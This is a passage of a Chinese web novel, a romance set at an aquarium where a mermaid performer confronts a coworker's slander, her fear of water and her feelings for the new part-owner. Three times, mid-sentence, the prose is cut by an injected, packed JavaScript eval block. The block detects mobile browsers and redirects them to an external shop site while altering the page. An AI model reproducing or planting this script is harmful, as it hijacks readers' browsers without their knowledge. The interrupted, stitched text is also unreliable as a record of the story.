冷冽的风扫在景音脸上,冻得生疼。方才从ktv里攒起的热气,仿佛一下就被刮没了。 “哦。”景音低着声音,“行啊。” 裴涟沉默良久。 “下午来面试的那个人,你打算招她?”他问。 景音蹙了眉:“嗯,她条件很合适。” 听了她的回答,裴涟又不说话了。 过了半晌,他才恢复声音:“其实你今天可以不用来。” “?” “不用勉强自己来社交。” 景音无所谓地答他:“这没什么。” 虽然没看他,但景音觉得裴涟那双浅色的眸一定牢牢锁着她的表情。 裴涟声音压低,语气比平时还要缓:“你不喜欢交朋友也没什么不好。如果你会累,就只做自己喜欢的事,真的没关系。” 景音这才迟钝地反应过来,裴涟以为她要回家的原因,是和同事相处觉得累。 以前大学的某个阶段,她的确是这样,强迫自己参加各种社团活动,最后搞得苦不堪言。 也难怪他会误会,毕竟他们已经,这么多年没见了。 “我不是累。”景音慢慢回答,“你没看出来吗?我是在躲你。” 她鼓起勇气抬头,直视他的眼睛。 “以后我潜水的时候,你能不能不要出现?我好不容易治好了恐水的毛病,看到你,又要再犯了。” 裴涟有些微微的错愕。 景音不敢去多看他的表情,好在出租车到了,停在面前。 她拉开车门,犹疑了一下,还是开了口:“那就这样。” 语罢,她坐进去关上了车门。 出租车很快发动。 裴涟的身影被一排排略过的秃树代替,景音心底突然有点后悔。 裴涟并不知道她有病。 不止他不知道,除了家里人以外,谁都不知道。 自大学毕业以来到现在,由于她积极看心理医生的缘故,病已经好了许多。 多社交,多融入团体,是医生吩咐她的。 她一直照做。 此时此刻,被裴涟这样一说,景音突然有点气馁。 她现在已经能共情到别人的情绪。但是不是,她只是“学会了”看他们的态度,知道该做出什么反应,而已? 万一,她天生就是不爱社交呢。 万一,和她乱七八糟的家庭无关,而是她打娘胎里就是这么冷淡的人呢。 医生的判断,是不是只是根据她的“学习成果”,而误觉得她的病在变好? 还有,裴涟也并不知道,自从他们两人差点溺死在江里之后,景音就开始恐水。 她花费了好大的功夫,才锻炼自己不再怕水。昨天一见到裴涟,又再度联想起那种窒息感。 万幸的万幸,只要裴涟不在她潜水时出现,只要她控制住不去联想,还可以照样潜水。 景音靠回椅背。 车子停下来,轰着发动机等红绿灯。窗外是霓虹的深渊,有行人裹着大衣匆匆走过。年轻妈妈带着欢笑的孩子、互相依偎的中年夫妻、打情骂俏的情侣…… 世界上的正常人那么多,为什么不能多她一个。 许多白点恍然划过视野。她凝神去看,才发现那飘下的密密麻麻的是雪。 又下雪了。 - 海洋馆度过了一个繁忙的周末,终于迎来了周一。 人事部的消息在两天前送达: 「新员工将在下周一报到,请准备好相关接洽事宜。」 景音一早准备好了潜水服和泳帽,并给许晏霖贴身制订了一个训练计划。 做完晨练,路图在办公室拿着她做的计划表看:“这一天天的咋都是游泳呢……姐,你招的这个新人不会游泳啊!?” “嗯。”景音点点头,“从零培训。” 路图明显不解,放下她的计划表:“你怎么不再多等几天,说不定能招到更符合条件的人呢。” 景音:“每次招人都要等小半个月,有这时间,我都能把她培训得差不多了。” 路图挠挠头,似乎思考了一下,然后说出了埋藏在心里很久的话。 “姐,我每次都觉得你招人好急,培训也很急,就好像要赶着去做什么事一样。” “你该不会是打算培养出一个接班人,然后就离职吧?” 景音很忙似的,反复整理着潜水服。 她越是沉默,路图就越担忧。 “这都被你猜到了。”景音干脆告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572826|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,“我是打算离职,不过还有段时间,大概明年六月份吧。” “啊,为啥呀?这里干着不是挺好的吗。” 景音耸了耸肩:“考研。” “……” 路图没再说话。 没多久,办公室的门被轻轻敲响,许晏霖站在门口。 “嗨。”景音主动跟她打招呼,“欢迎,这是你的工位。” 她指了指摆着潜水服的位置。 许晏霖走进来,一脸微笑:“你们好。” 她环绕着看了看办公室内,笑容没有一丝停顿,坐在了景音指的位置上。 “我叫景音,是你的教练,你还记得吧。”景音微笑着坐在她旁边,“他是咱们剧场的潜水员,平时会和我们一起演出。剧场一共我们三个员工。” 路图挤出一丝笑:“我叫路图,应该比你小,叫我小路就行。” 许晏霖很爽朗:“我叫许晏霖,你不介意的话,就叫我霖姐吧,哈哈。” 到底是面对一个大美女,路图挠挠脖子,有点害羞地招架不来。 景音带着许晏霖参观了一下海洋剧场,讲解了平时她和路图的工作划分。没过多久,就到了演出时间,她便安排许晏霖坐在大厅看演出。 演出结束,许晏霖回到二楼找他们,表情透露着向往:“景老师,你刚才太美了!我以后也能做到吗?” 景音浅浅笑着:“只要你坚持训练就可以。” 几乎每个新员工看了她的表演以后,都是这样的反应。 但是后面的训练却无一例外地没人能坚持下来。 许晏霖信心满满地点点头,就要开始训练。 和她沟通过后,景音才知道她并不是零基础,以前去海边度假的时候学过简单的潜水和游泳。只是这并不算什么技能,所以没有写在简历里。 这比景音想象的要好很多。 临近中午下班时间,景音结束了训练。 她带着许晏霖去休息室的淋浴间冲澡,正巧遇到路图除完藻回来。 路图客气地让两个女生先用淋浴间。 许晏霖又客气地把第一的位置让给了景音。 景音不好推脱,于是快速冲洗了一下,就换许晏霖接替。 许晏霖速度也很快。从淋浴间出来后,她去隔壁化妆间吹了个头发,突然想起自己的发夹落在了淋浴间。 于是许晏霖起身出了门,看见隔壁淋浴间的门缝内,男人幽黑的身影若隐若现。 她饶有兴致走过去,打开淋浴间的门:“小路,还没收拾完呢?” 路图手拿了只抹布,正在擦着地面上的水。 他抬起头,看向许晏霖。 也许是角度问题,许晏霖莫名心里一寒,然后磕磕绊绊开口:“哟……你干活这么仔细啊。” “哎。”路图站起了身,面带微笑,“我有点洁癖,见笑了霖姐。” 许晏霖微松了口气。 “那麻烦你了,真不好意思。你让我们先冲澡了,还让你来打扫这儿。” “没事啊,我男的嘛。再说最后一个用完的最后一个打扫,很正常啊。”路图笑得无害。 许晏霖又跟他客气了两句,便回了化妆间。不知为什么,她潜意识不想和这个还不到二十岁的男生交流。 化妆间里存放着景音的所有鱼尾。鱼尾都是订制的,每条都价格不菲。 许晏霖看着衣架上的一排色彩鲜艳的鱼尾,不屑地轻笑了下,坐下来开始对着镜子补妆。 刚拍了粉底,许晏霖突然察觉,镜子的倒影中多了一人。 “谁……小路!”许晏霖回头,心底漏了一拍,“你什么时候进来的?” 8. 地缚灵×2 “我看化妆间灯没关。”路图很抱歉的样子,边哈腰边解释,“不好意思啊姐,吓到你了。” 许晏霖平缓了下心情,仍觉得不太舒服:“那,没事你就回办公室吧,我用完化妆间会锁门的。” “好的。” 路图向门口走去,突然微笑着停下来看了她一眼:“姐,我觉得你染个浅色的头发会更好看。” 语罢,不等她回答便出了门。 许晏霖独自对着镜子发愣。 她适合浅色的头发吗? 等许晏霖回到办公室,已经过了中午下班的时间。 “上午的训练感觉怎么样?”景音主动问。 “挺好的。”许晏霖回答,“游泳我基本掌握了,反正也不要求速度。明天就开始练潜水吧?” “好啊。”景音露出笑容。 许晏霖收拾着东西,假装无意地问:“小路又回家了啊。” “嗯,他喜欢回去吃饭。”景音回答。 海洋馆离市区远,有提供员工公寓,景音也住在里面。但是她懒得做饭,通常留在馆里吃饭。 许晏霖松了口气。她总觉得路图私下瞅她的眼神阴森森的,也不知这个景音怎么能忍受跟他当这么久同事。 又寒暄了两句,景音带许晏霖去了食堂。 他们的员工食堂,其实就是海洋馆的游客餐厅。只不过供应给员工的饭是家常菜,和游客的有差异。 餐厅给游客的饭是些半成品快餐,又贵又吃不饱,游客一般也不会在海洋馆待上一整天。 这就导致一个很尴尬的局面:到饭点时,反而没有游客,餐厅几乎是不营收的。 景音和许晏霖在窗口打饭,遇到了谢薇。 谢薇挤进她们两个中间:“我是来加入你们的。” 许晏霖笑笑,微微挪开了身子。 景音:“你俩认识?” “早上我给她办的入职。”谢薇答。 “哦。”景音被她挽上了胳膊,“今天你怎么也这么晚。” “别提了,裴总要我们加班,整理好多资料。”谢薇叹了口气,“我们还不是最惨的,财务部现在还没下班呢。” “怎么突然要你们加班,他想干嘛。” “谁知道呢,老板的心思你别猜。哼,下次见到裴总得多看他两眼,弥补一下心理损失。”谢薇拍拍许晏霖,“对了,晏霖你还没见过裴总吧,我跟你说啊,他可是盘靓条顺的大帅哥,和馆里这些虾兵蟹将比不知道帅几倍!” 谢薇一激动,声音就大了些,惹得前面几个饲养部的男生回头看了她们一眼。 谢薇瘪瘪嘴,压低了声音:“就是可惜,裴总早上不来参加开馆仪式。不然我得天天盯着他看,用眼睛,视奸他。” “……”许晏霖轻笑了声,“我见过裴涟啊。我们俩是高中同学。” 景音恍然一愣:“你是闻泰的?” “对呀。”许晏霖看向她,“咱们是校友呢,景老师。” “你知道我是……” “我高中的时候见过你,印象很深。”许晏霖眯着眼笑。 “呀,小景你也是那个高中的?”谢薇很惊讶,“你说说你俩,上那么好的学校,怎么沦落到这里来了。” 许晏霖的笑容有点僵。 景音不记得在闻泰有见过许晏霖。倒不如说,除了同班偶尔和她说话的几个女生,别的同学都记不住名字,更别说其他班了。 “早就认识啊。”一道男声从身后响起,“原来是老相好了,怪不得。” 景音几人转过头,看见邓昌安站在她们身后。 谢薇从上到下扫了他一眼,语带不屑:“你说啥呢,邓哥。” 邓昌安没理她,继续看着景音。 “考核结果出来了,你这种素质的居然能评上优秀员工,我还纳闷呢。”他眼神带着刺目的揶揄,“后来我徒弟告诉我,那天在KTV看见你和裴总在门口说话,我就明白了。这么快就能勾引到老板,以前还真是小瞧你了啊!” 邓昌安故意放大了声音,周围的同事都驻足看向这边。 景音皱了皱眉,表情有些难以言喻。邓昌安以为她被自己说中了,正想继续嘲讽时,景音开口了: “你也想勾引老板?” 邓昌安一愣,没反应过来:“你个丫头片子,说什么呢?” “不是都说心里有什么,看到的就是什么吗。”景音的语气不缓不急,“我和老板站在一起,你就觉得我在勾引他,不就是说明,其实你心里才想勾引老板吗。” 旁边的同事听见了,都没忍住笑出声。邓昌安看了眼四周,又看看一脸无辜的景音,脸气得涨红。 “放你娘的屁,你这小姑娘怎么这么恶心!” 景音很纳闷:“这话不是你先说的?你说我就不恶心,我说你就是恶心?” 有一瞬间,景音觉得邓昌安想伸胳膊推她。 但是,他只是狠狠瞪了她一眼,什么都没说,扭头走了。 周围的人见邓昌安离开,也都散了。 谢薇的表情像遇见了什么恶心的东西:“这老邓,从哪知道的评审结果?我嘴巴这么松,我都忍住了没告诉你,这下有不少人听见吧,他完了。不过小景啊,我看他离开的那个表情,估计还想整你,你可小心点。” “法治社会,他还能怎么样。”景音倒是不害怕,“所以,我还真被评上了?” “对呀!等着发奖金吧你,哈哈哈。” 景音并没自己想象中的高兴,凝起了眉,若有所思。 今天打饭的窗口换了人。景音要端着盘子走开,才发现站在橱窗内的是一身厨师装的保安大爷。 “大爷咋来这儿上班了。”谢薇也注意到了,“唉,咱馆的人越来越少了。” “可能帮人顶班吧。”景音没太在意。 谢薇两口扒拉完饭,说自己要回去加班。吃完了饭,景音跟许晏霖道别,准备去一趟行政楼。 外面的雪还没化干净,景音双手插兜,顶着风走着,觉得脸颊快被风刮破了。 她心里其实不太自在。 今天中午的事,没几天就会传开。等优秀员工的名单出来,大家发现上面真的有她的名字,肯定会翻出今天的事,对她闲言碎语。 她自己倒是无所谓,但她不想扯上裴涟,让他还没当上副馆长,就先担上一个难听的流言。 她想去问清楚,为什么自己能被评上优秀员工。 进了行政楼,景音直径去了一楼的人事部办公室。 人事部只有四人,负责人是上次和她一起面试的刘姐。 刘姐听完景音陈述来意后,推了推眼镜:“你的情况,裴总和我说过,你有问题的话直接找他就行。” “……” 还真是裴涟给她走后门? 景音心里微恼,搞不清裴涟这是在干什么。见她一直不出声,刘姐笑了笑:“三楼左拐,左手边最后一个办公室。” “……好吧。”景音只得起身,“打扰你了,刘姐。” 离去时,谢薇从工位上给了她一个“放宽心”的眼神。 景音有点不情愿地上楼。 上次见到裴涟时,她态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572827|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度并不算友好,也不知道他心里会怎么想。 景音试着代入了一下裴涟的角度。 先是,偶遇了前女友。 不对,景音摇摇头。他俩只是口头上在一起,后来她发现裴涟游轮上的表白是场误会,她就没再当回事。 这样的话,就不能算是前男女朋友。 景音慢慢上着楼梯,重新盘算了一遍。 那么就是,偶遇了曾追求失败的女生。女生看到他时,手舞足蹈很兴奋,并主动做出了“亲吻”的举动。 或许是因为这个,才又鼓起勇气跟她说话(景音并不能确定是这样),却被告知离她远一点。 嗯… 也难怪裴涟见到她时,都笑得那么瘆人了。 这换谁不觉得,这女生,有毛病吧…… 景音的脚步立刻折返。她决定,还是从社交软件里问一下原因,以免被他再误会什么。 她噔噔噔下着楼梯,刚回到一楼,却看见裴涟闲散着脚步,从楼梯正对着的大门口进来。 景音躲无可躲,站在楼梯上,扭过了身子。 裴涟已经看见了她。 景音开始研究楼梯扶手,好像突然对上面的材质产生了兴趣。 上楼梯的脚步声回响在大厅。景音心里默默祈祷,对,上去吧,假装看不见彼此,再见。 身边的脚步声停驻不前。没几秒,裴涟的声音响起了。 “景音?” 景音恍然抬头,好像刚发现身边有个人:“啊?” “你干什么呢。” 裴涟的浅瞳懒懒睨着她,声音带着丝好笑的古怪。 “我啊。”景音眼神乱飘,“散步。” “哦。”裴涟点点头,十分赞同一般,“还以为你是馆里的地缚灵,随机刷新在某个角落。” …… 居然偷她的台词! “咳。”景音装作没听懂,“那我去……” “正好找你有点事,跟我来一下。”裴涟突然换了口吻,正经了不少,“公事。” “……哦。” 景音犹豫了一下,决定跟他上楼。 这次是裴涟主动叫她去,况且两人是说公事,应该不会再让他产生什么误会了吧。 景音以前去过一次王馆长的办公室。跟着裴涟进了他的办公室,景音发现,这里和王馆长那间没什么两样。 统一的木制办公桌,墙边是两个放满文件的铁皮柜子。待客区摆着相同的茶几与沙发,不同的是,裴涟桌上的电脑,一看就要比王馆长那台高级许多。 这一刻,景音才突然有了实感,裴涟是真的,在为这个海洋馆工作。 裴涟坐回办公桌后,桌上的香氛机缓缓吐出白烟,香气蔓延了整间屋子。 他疲惫似的揉了揉太阳穴,表情舒缓了下来。 景音一进来就闻到了,空气中又是那熟悉的味道,八月夜桂花。 “你这么喜欢这款香水啊。”景音忍不住感叹。 这其实是个很常见的款式,香味没什么独特之处,景音以前也跟风买过一瓶。味道倒是安心好闻,但是实在匹配不上它那个如梦似幻的名字,喷过一阵子,就闲置了。 这两天闻得多了,还怪上头。 裴涟听见她的话,抬眸看了她一眼。 景音乖巧站在办公室中间,双眼好奇地打量着这方寸之地。明明办公设施都比较老旧,她也毫不在意似的,反而关注起空气中的香味来。 裴涟浅浅笑了,眼神也生动了几分。 他闲散着语气:“嗯,和我女朋友同款。” 9. 脱敏训练 哦,女朋友同款啊。 景音说不上自己是什么心情,好像心里曾存在过一个虚虚实实的泡泡,现在轻轻破了。 她假装自己不感兴趣:“你能先告诉我,为什么我能评上优秀员工吗?” 裴涟:“你觉得你不配?” 这话倒是实打实地噎了景音一下。 裴涟神色淡然,从桌子上找出一个文件夹。 “我看过了。你入职半年,迟到早退次数零,请假次数零。考勤率——”裴涟翻着文件,“全馆第一。” 景音:“…和别人区别很大吗。” “对。馆里员工很少迟到,但请假早退的情况普遍到有点频繁,因为没有严格的规章制度。”裴涟合上文件夹,抬眸望她,“日常工作才是员工考核的重点。单独挑一天来打分,算什么,期末考试吗。” 景音心中承认他说的有点道理:“可是,我在考察那天,出现了很大的失误。” “那也是你唯一一次失误。别人在这一年间出现过的工作失误,比你多得多。” 景音觉得有点说不过他。 但邓昌安的刚才讥讽的声音,一直萦绕在脑海,挥之不去。 “所以,评判的标准到底是什么?”她又问,“考核团那天的打分,就不算数了?” “考核团的打分,会综合考虑。” “这样是不是有失——” “景音。”裴涟打断她,声音带了几分肃然,“你就这么不自信?” 两人对视着,气氛有些紧绷。裴涟最先移走眼神,从文件夹里又找出一页。 “看。”他懒瞅着她,“海洋馆所有副业的营业额。” 景音心中一动,走到办公桌旁边。还没看清上面的内容,裴涟的手机响了。 他接起电话。对面那人声音很急,裴涟没出声,耐心听着。 “我马上到。” 裴涟挂掉电话,交待景音:“你先自己看,我等会儿就回来。” “怎么了?”景音问。 “没事。” 裴涟应该不是不愿告诉她,而是确实比较着急。他匆匆出了办公室,带上了门。 景音见状,只好走到他办公桌前,看向那页文件。 统计日期是今年一整年的。景音忽略了其他的项目,找到了上半年的白鲸馆,和下半年的海洋剧场。 海洋剧场的营业额,要比白鲸馆,高出整整30%。 景音弯起唇角。虽然剧场占了个新鲜的优势,但她还是难免开心了些。 她向前翻了一页,想找到去年同季度的白鲸馆数据。 但是前面一页,是毫不相关的其他文件。 景音只瞥了一眼。刚要翻走时,她才反应过来看到了什么。 她又把那页翻了回来,仔细看着。 标题:关于增加珍珠岛海洋馆动物表演之倡议。 正文内,详细列出了几种海洋动物表演种类,并预测了大致的收入提升。 署名是几个景音不认识的名字,日期是,半个月前。 她内心有些乱,合上了文件夹,这才看见文件夹的封面标签上写着:“待处理”。 这应该能说明,这份文件还没有被同意。 景音回到门口的茶几旁,坐了良久。直到裴涟进门,景音才站起来,不作声看着他。 裴涟觉得她和刚才的神情不太一样。 他边往办公桌走,边瞄了她一眼:“怎么了?” 看到桌子上合着的文件夹,裴涟若有所思。 他没说话,默默把文件夹放进抽屉。 “我都看见了。”景音跟着他走到桌前,先开了口,“那些人是谁?” “哪些。” 景音颇不耐烦:“提议增加动物表演的那几个人。” 裴涟整理了一下桌面,才慢慢回答:“股东。” “……”景音有点语塞,“你不是把海洋馆整个买下来了吗?” “我买了51%的股份,说是买下来了,也没错。”他回答。 景音不说话了。 裴涟抬起眸。桌前的女孩儿直勾勾看着他,捏着桌边的指尖都有点发白。 他敛了眼神:“那个提议我不会同意的。” “这张纸,之前是在王馆长那里吧。”景音突然出声,“你入股了之后才转交到你手里,是不是。” 倡议书上的日期,在裴涟来考察那天之前。 裴涟没打算说谎:“是。” “那你在入股前,知道这件事么?”景音似乎在求证,“你最初想入的股份,就是51%吗?你买下这家老破海洋馆,究竟是为什么?” 裴涟看着她的眼睛。景音一惯觉得他的眼神冷淡又足够理智,此刻,这种感觉更甚。 几秒钟后,裴涟笃定开了口:“你们内部的事,我那时怎么会知道。我买下这里,是为了完善家里的产业链,收购51%的股权,只是因为王馆长恰好拥有51%,而已。” 景音轻眨着眼,心里宽松了些许。 她听说过裴涟家里是做文旅业的,具体不太清楚。有那么一会儿,她还以为,裴涟买下海洋馆是为了…… 景音有点尴尬自己自作多情的想法,随口找了个话题:“你刚才干什么去了。” 裴涟很平静:“混进来个小偷,偷东西的时候被保安抓个正着。刚才报了警,现在没事了。” “……”景音微微震惊,“咱们馆的保安大爷这么厉害呢。” “那些大爷我基本都安排了转岗。我向安保公司租了支保安队,今天上岗。” “……这样啊。”景音若有所思,“那您还真是料事如神。” 裴家轻笑了声:“出现这种事,也不知道是不是凑巧。” 景音听懂了他话里暗含的意思。 也许就是海洋馆的治安一直太松散,才导致了小偷常来光顾。以前大爷们不留意,现在专业的保安队上岗,第一天就给抓住了。 看来,海洋馆的确如裴涟那天所说,问题不少。 “安全只是急需解决的第一个问题,其他的慢慢来。”他声音无峰无波,“没其他事的话,你回去吧。” 景音看了眼表,才发现到了上班时间。 她离开裴涟的办公室,内心莫名地踏实了些。只是,额外知晓的那件裴涟的私事,让情绪有点不通畅。 回到海洋剧场,许晏霖和路图正在装饰大厅。 明天就是跨年夜,海洋馆将迎来为期三天的元旦假日小高潮。 许晏霖看见景音回来,似乎松了口气:“景老师,刚才路上我遇见几个同事,说饲养部下午要来挑一批鱼。” “挑鱼?”景音蹙起眉头,“做什么用说了吗?” 许晏霖:“说是跨年的活动要用。” 景音真是毫不知情。她忙给谢薇发了个短信,问她有没有相关消息。 过了会儿,谢薇回复了一大串。景音快速浏览了一遍,大致看懂了。 跨年夜当晚,裴涟在江边的市民广场租下一块地,准备布置一个大鱼缸。 届时市民们都会来江边看烟花,鱼缸便可以当做活广告,吸引市民合照打卡,起一个宣传作用。 为了追求美观,还打算多花点钱布置成热带鱼缸,但馆里其他的热带鱼都比较珍贵,还要留着科普用;只有海洋剧场里的热带鱼是做观赏用的,价值较低。 所以,才要借这里的鱼一用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572828|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景音不得不感叹,裴涟的点子还挺花。 没过多久,饲养部来了三四个同事,其中便有上次ktv的两个男生。 景音不清楚哪个是邓昌安的徒弟。他们换上潜水衣,捞了几网鲜艳又形状各异的鱼,又捉了几只海星海虾,放进带来的鱼缸里。 景音看着似乎空了些的水池,心中有点不舍。 “好好照顾它们啊。”景音交待。 “你要是不放心,跟着来呗。”一个男生摘下头套,“反正在市民广场,正好跨年。” 景音听了,心思微动。 她几乎是立刻又掏出手机,翻出裴涟的头像,打下一行字:「明天晚上,带我一个呗。」 很快得到回复。 L:「?」 景音突然反应过来,这是他们从大一结束后算起的第一句对话。 裴涟这是,没给她备注? 景音刚想表明身份,对面又发来:「想来就来。」 景音觉得他应是没明白她的意思,于是又敲了句:「我是说,水里的,带我一个。」 她想在明晚,和鱼儿们一起做活广告。 一个大活人的吸睛效果,肯定比一池鱼要强一些。景音自认为她的演出还算吸引人,至少不会起到什么反作用。 能让海洋馆收入越来越好,股东也不会再要求增加动物表演。 而且她还有点自己的私心:如果当晚效果好的话,她的优秀员工称号,至少会拿得更有说服力。 过了会儿,对面回复:「晚上很冷。」 ……婉拒了? 「水里很暖和。」她锲而不舍地回。 热带鱼的鱼缸水温一般在25℃上下,虽不及人类的舒适温度,但景音早已习惯在热带鱼缸里潜水。 天气冷,倒真还算不上是什么问题。 裴涟很快回复了。 「出来会冷。」 景音不带犹豫:「不是还有你吗?」 这话好像有点暧昧,景音觉得不太妥,撤回重发:「不是还有你来想办法吗?」 对面似乎在忙。景音看着饲养部的同事把鱼缸搬下楼梯,手机才又响了提示音。 景音掏出手机一看:「你见到我不会恐水么?」 她顿时像被浇了盆凉水。 怎么把这个给忘了。 裴涟作为负责人,当晚肯定会在周围守着。看见他,她万一呛了水,这重金打造的活广告就会变成事故。 可是,裴涟以后会当上海洋馆的副馆长,也不能总要求他在她潜水的时候回避吧。 旁边有个饲养部的同事拍了拍她,打断她的思路:“捞好了,你们数一下。” “叫小路来数吧。”景音有些抱歉地回应。 那同事没说什么,去楼下找路图了。 景音没有思考太久,很快定了主意,继续敲下一行字: 「那今天下班,能不能来剧场,陪我做个脱敏训练?」 她觉得就算是出于“培训员工”的角度,裴涟也没有理由会拒绝。果不其然,他很快回复:「好。」 景音松了口气,收起了手机。 这一下午好似过得飞快,景音觉得下午的演出过后没多久,就到了下班时间。 路图和许晏霖都回家了。景音先是把办公室的地扫了一遍,又整理了一下桌子,最后把路图那涩口的祛湿茶换成了纯净水。 一想到裴涟等下要来,景音就莫名地紧张。最后她决定先换上潜水服,在水池边等。 大约又过了五分钟,她听见有人上楼梯的声音。 景音的心间仿佛被这声音提了起来,望过去看见来人后,眼神转暗。 上楼的居然是邓昌安。 10. 素材+1 邓昌安似乎也挺意外看见她。他挑了挑细长的吊眉,语气微惊讶:“你怎么还在。” “这是我的岗位,我在这很奇怪吗。”景音也没什么好语气,“邓哥到这来干什么?” 她的疑问,在看到邓昌安手里装着鱼的袋子时,得到了解答。 邓昌安嗤笑了声:“我还能给你们水池下毒吗?” 他在几步之外蹲了下来,把袋子里的鱼倒回了水池。 “这帮学徒做事一点也不专业,让抓好养活的,偏给我抓来几条小丑鱼。这鱼这么胆小,明天晚上要是吓死了又成我们的责任,到时候扣钱咋说?” 景音没发现竟有小丑鱼被抓走了。她顿时有点自责,当时只顾给裴涟发消息,没有亲自清点鱼的种类数量。 她暗自谨记,这种事以后一定得自己过一遍。 邓昌安倒完鱼,起身就要下楼。景音犹豫了一下,还是开了口:“麻烦你跑一趟了。” “麻烦?那能咋办。”邓昌安瞪她一眼,“谁让有的人拿钱不办事,上班光知道玩手机。可惜人家有后台,比不过呦。” 景音皱了皱眉,这邓昌安的脾气,实在是一言难尽。 她刚想辩解两句,楼下传来另一道声音: “今天没法早退,怨气这么大啊。” 裴涟信步从楼梯口上来,眼神闲散瞅着邓昌安。 景音顿时看向他。裴涟轻飘飘扫了她一眼,淡漠的视线又很快收了回去。 邓昌安见到来人是裴涟,脸色微变了变,神情比方才还要冷:“听不懂你在说什么。” “月平均请假次数五天以上,下午四点一到必走人,轮排的值班一次也不来,究竟是谁拿钱不办事?”裴涟声音少有的凌厉,“一把年纪了还怨天尤人,评不上优秀员工就觉得别人走捷径,一点不觉得自己丢人,是吗?” 邓昌安没想到就这样被揭了短。他胸口起伏起来,显然是动了怒,嘴唇也嗫喏着,来了一句:“那还不是因为老子调岗了?” “调岗,就是你消极怠工的理由?”裴涟神情也染上了冷意。 邓昌安表情随即狰狞起来,手里的塑料袋被随手扔在一边:“不然呢?那破岗位一点技术含量都没有,不下班干嘛,留在这里,看你个憨批老板的脸色啊?” 空气中极为安静。裴涟像没听见他的辱骂似的,也没生气,只不屑一顾地淡笑了下: “愿意干就好好干,不愿干就滚。” 邓昌安怒极,伸出只手指,指着裴涟骂了一句:“个小瘪三,老子早就不愿意干了!” 他脱掉工服往地上一摔,骂骂咧咧下了楼。 裴涟像什么都没发生过似的,走了过来。 景音端正了一下态度,安安静静叫了声:“裴总。” 裴涟眼神凉凉,似乎懒得跟她纠结称呼:“需要我怎么帮你。” 景音不是第一次见裴涟动怒,但她觉得,他的脾性似乎比从前沉稳了许多。 到底是成熟了不少吧。 只是现在这副阴沉沉的样子,让她有点不敢招惹。 “很简单啊,你站着不动就行。”她絮叨起来,想快速给这里换个氛围,“以前我怕水的时候也是这样训练的,把自己扔水里,多来几次,强迫自己克服并习惯,就好了。” 这话好似成功转移了裴涟的注意力。他面色露出一丝不忍,但还是点点头:“好。” 景音坐在了水池边,双脚悬进水中。 前些天第一次在水中看见裴涟时,其实是在白鲸馆。当时她不知道岸上的人是裴涟,并没有呛水。 所以问题并不在裴涟,而在她自己。 骗过自己裴涟不在旁边,或许就没事。 她试着潜进水中。第一次,失败。 景音冒出水面,有些丧气。心理医生曾跟她分析过,她的精神力太敏感细腻,在受到不同程度的影响时,就会产生心理问题。 有些人精神脆弱敏感,便是如此。 景音很不巧便是这类人的一份子。 要说服自己的潜意识真的很难。想到裴涟就在旁边,她便觉得水里有力量在拉扯她似的,像极了江底的暗流。 “怎么样?”裴涟问。 “就那样吧。”景音不知道在安慰谁,“比想象的要好一点,至少没呛水。” 她准备再次潜下去。 “等等。”裴涟突然叫住她。 景音停下动作,见裴涟突然一只膝盖着地,向她伸出一只手。 “我怕你有危险。”他凝着她的双眼,“我抓着你吧。” 从这个角度,景音刚巧能看见他脖侧的红痣。 鲜红的一点,刺目却安静,景音盯了一瞬,忙转移目光。 她没回答,无声藏进水面,然后缓缓伸出一只手。 裴涟一度以为她拒绝了,见状,忙握住她的手腕。 水面咕嘟咕嘟冒着泡。五秒,十秒,十五秒。 “景音。”裴涟叫了声,“没事吗?” 察觉到水下可能听不见,裴涟微微用力,捏了捏手指。 下一瞬,景音冒出个脑袋。 “怎么样?”裴涟忙松开她。 景音绯红着脸色。不知是不是憋气憋的,声音也低低小小的:“……克服了。” 两人一阵沉默。 半晌,裴涟不明所以:“这么快啊。” “嗯。”景音郑重其事点点头,“找到诀窍了。” “什么诀窍?” “……转移注意力的诀窍。”她瞥开眼神,“反正再看到你应该没事了。” 裴涟好像还有点不敢置信。 “你到底……” “真的没事。”景音微微崩溃,“我肯定不会拿自己的健康开玩笑,是不是?” “是。”裴涟默默瞧着她,“所以我有点怀疑,你叫我来的原因呢。” “……” 其实真的不怪他乱想。 景音自己都觉得离谱。 她忍不住扶额,声音也轻飘飘,“我怎么克服的不重要,重要的是已经克服了。明晚我能参加吗?” 裴涟这才轻声笑了出来。 他眉梢微挑着:“明晚啊。你要来的话,就是锦上添花。” 景音松懈下来。 “但是不能勉强,如果觉得不舒服,你可以随时出来,我们还有鱼。”他补充。 景音乖巧点点头:“知道了。” 裴涟冲她浅笑,琥珀色的瞳仁里眸光微闪。 男人和记忆中的样子重叠,景音看着他发愣,目光再难移开。 